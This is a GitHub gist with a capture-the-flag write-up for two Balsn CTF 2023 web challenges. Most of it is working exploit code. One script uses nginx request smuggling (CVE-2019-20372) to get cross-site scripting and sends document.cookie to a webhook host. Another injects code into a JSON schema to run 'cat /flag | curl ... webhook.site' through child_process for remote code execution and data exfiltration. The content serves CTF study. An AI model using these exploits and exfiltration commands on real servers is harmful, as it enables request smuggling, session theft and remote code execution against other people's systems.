Skip to content

Instantly share code, notes, and snippets.

@arkark
Last active June 13, 2024 16:48
Show Gist options
  • Save arkark/32e1a0386360fe5ce7d63e141a74d7b9 to your computer and use it in GitHub Desktop.
Save arkark/32e1a0386360fe5ce7d63e141a74d7b9 to your computer and use it in GitHub Desktop.
Balsn CTF 2023 - [web] SaaS, 1linenginx

Balsn CTF 2023

[web] SaaS

  • 10 solves / 285 solves
Who will do this?

http://saas.balsnctf.com:8787

Author: cjiso1117

Solution

The challenge is a JavaScript RCE challenge.

My solver is saas_exploit.py.

Flag

BALSN{N0t_R3al1y_aN_u3s_Ca53}

[web] 1linenginx

  • 6 solves / 407 pts
It works!

Challenge: http://1linenginx.balsnctf.com

Bot: http://1linenginxbot.balsnctf.com

Author: Ginoah

Overview

The challenge is very simple.

default.conf (formatted):

server {
    root /usr/share/nginx/html;

    if ($host !~ [\<\>\'\"\`\&\;\\\/\?\#\$]) {
        set $rhost $host;
    }

    error_page 404 =200 http://$rhost/;
}

It seems to have no vulnerabilities, but the nginx is old:

# nginx -v    
nginx version: nginx/1.16.1

It has CVE-2019-20372 (Request Smuggling):

The goal is to gain an XSS with Request Smuggling.

Solution

An example that performs an XSS:

# test.py

import pwn
# pwn.context.log_level = "DEBUG"

# HOST = "localhost"
HOST = "1linenginx.balsnctf.com"

io = pwn.remote(HOST, "80")

smuggled = "HEAD / HTTP/1.1\r\nHost: a\r\n\r\nGET / HTTP/1.1\r\nHost: a\r\nRange: bytes=422-424\r\n\r\nGET /a HTTP/1.1\r\nHost: \tid=x\ttabindex=1\tonfocus=alert(1)\tautofocus\t\r\n\r\n"
io.send(f"POST /a HTTP/1.1\r\nHost: {HOST}\r\nContent-Length: {len(smuggled)}\r\n\r\n{smuggled}".encode())

res = io.recvall(timeout=1)
print(res.decode().replace("\r", ""))
$ python test.py 
[+] Opening connection to 1linenginx.balsnctf.com on port 80: Done
[+] Receiving all data: Done (1.20KB)
[*] Closed connection to 1linenginx.balsnctf.com port 80
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.16.1
Date: Mon, 09 Oct 2023 06:07:04 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://1linenginx.balsnctf.com/

<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.16.1</center>
</body>
</html>
HTTP/1.1 200 OK
Server: nginx/1.16.1
Date: Mon, 09 Oct 2023 06:07:04 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 13 Aug 2019 10:05:00 GMT
Connection: keep-alive
ETag: "5d528b4c-264"
Accept-Ranges: bytes

HTTP/1.1 206 Partial Content
Server: nginx/1.16.1
Date: Mon, 09 Oct 2023 06:07:04 GMT
Content-Type: text/html
Content-Length: 3
Last-Modified: Tue, 13 Aug 2019 10:05:00 GMT
Connection: keep-alive
ETag: "5d528b4c-264"
Content-Range: bytes 422-424/612

<a HTTP/1.1 302 Moved Temporarily
Server: nginx/1.16.1
Date: Mon, 09 Oct 2023 06:07:04 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://	id=x	tabindex=1	onfocus=alert(1)	autofocus	/

<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.16.1</center>
</body>
</html>

This example has two points:

  • A HEAD request:
    • Nginx does not return the response body for a HEAD request, but the response includes a Content-Length header.
  • A HTTP range request:
    • bytes=422-424 of /usr/share/nginx/html/index.html is <a

If a browser sends the above request many times at the same time, some of the responses will be as follows:

HTTP/1.1 200 OK
Server: nginx/1.16.1
Date: Mon, 09 Oct 2023 06:07:04 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 13 Aug 2019 10:05:00 GMT
Connection: keep-alive
ETag: "5d528b4c-264"
Accept-Ranges: bytes

HTTP/1.1 206 Partial Content
Server: nginx/1.16.1
Date: Mon, 09 Oct 2023 06:07:04 GMT
Content-Type: text/html
Content-Length: 3
Last-Modified: Tue, 13 Aug 2019 10:05:00 GMT
Connection: keep-alive
ETag: "5d528b4c-264"
Content-Range: bytes 422-424/612

<a HTTP/1.1 302 Moved Temporarily
Server: nginx/1.16.1
Date: Mon, 09 Oct 2023 06:07:04 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://	id=x	tabindex=1	onfocus=alert(1)	autofocus	/

<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.16.1</cen

Finally, I served index.html and main.js, and reported the URL to get a flag. See the files.

Flag

BALSN{CL.0_XSS!W31rd_B3h4v10r_1n_Chrom3s_C0nn3ct10n_P00l..}
<!-- Balsn CTF 2023 - [web] 1linenginx -->
<html>
<body>
<script src="main.js" type="module"></script>
</body>
</html>
// Balsn CTF 2023 - [web] 1linenginx
// const BASE_URL = "http://localhost";
const BASE_URL = "http://1linenginx.balsnctf.com";
const payload =
"HEAD / HTTP/1.1\r\nHost: a\r\n\r\nGET / HTTP/1.1\r\nHost: a\r\nRange: bytes=422-424\r\n\r\nGET /a HTTP/1.1\r\nHost: \tid=x\ttabindex=1\tonfocus=eval(atob(location.hash.slice(1)))\tautofocus\t\r\n\r\n";
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const wait = (w) =>
new Promise(async (resolve) => {
while (true) {
try {
w.document;
} catch {
resolve();
break;
}
await sleep(5);
}
});
for (let j = 0; j < 10; j++) {
const N = 3;
const forms = [];
const ws = [];
for (let i = 0; i < N; i++) {
const target = `win${i}`;
ws.push(window.open("about:blank", target));
const form = document.createElement("form");
form.method = "post";
form.enctype = "text/plain";
form.target = target;
form.action =
`${BASE_URL}/${Math.random()}#` +
btoa(
`navigator.sendBeacon("https://webhook.site/xxx/", document.cookie)`
);
const input = document.createElement("input");
input.name = payload;
form.appendChild(input);
document.body.appendChild(form);
forms.push(form);
}
for (let i = 0; i < N; i++) {
forms[i].submit();
}
await Promise.all(ws.map((w) => wait(w)));
for (let i = N - 1; i >= 0; i--) {
ws[i].close();
await sleep(20);
}
}
// flag=BALSN{CL.0_XSS!W31rd_B3h4v10r_1n_Chrom3s_C0nn3ct10n_P00l..}
# Balsn CTF 2023 - [web] SaaS
import subprocess
import json
import base64
# BASE_URL = "http://localhost:8787"
BASE_URL = "http://saas.balsnctf.com:8787"
COMMAND = "cat /flag | curl -X POST https://webhook.site/xxx --data-binary @-"
payload = base64.b64encode(f"console.log(global.process.mainModule.require('child_process').execSync('{COMMAND}').toString())".encode()).decode()
body = {
"properties": {
"the old one": {"type": "string"},
},
"$id": f'#xxx"+eval(atob("{payload}"))+"',
"if": {},
"then": {},
}
proc = subprocess.run(
[
"curl",
"-XPOST",
BASE_URL,
"--request-target",
"http://x.saas/register",
"-H",
"Host: easy++++++",
"-H",
"Content-Type: application/json",
"-d",
json.dumps(body),
],
capture_output=True,
text=True,
)
assert proc.returncode == 0
print(proc.stdout)
route = json.loads(proc.stdout)["route"]
proc = subprocess.run(
[
"curl",
"-XGET",
BASE_URL,
"--request-target",
"http://x.saas" + route,
"-H",
"Host: easy++++++",
],
capture_output=True,
text=True,
)
assert proc.returncode == 0
print(proc.stdout)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment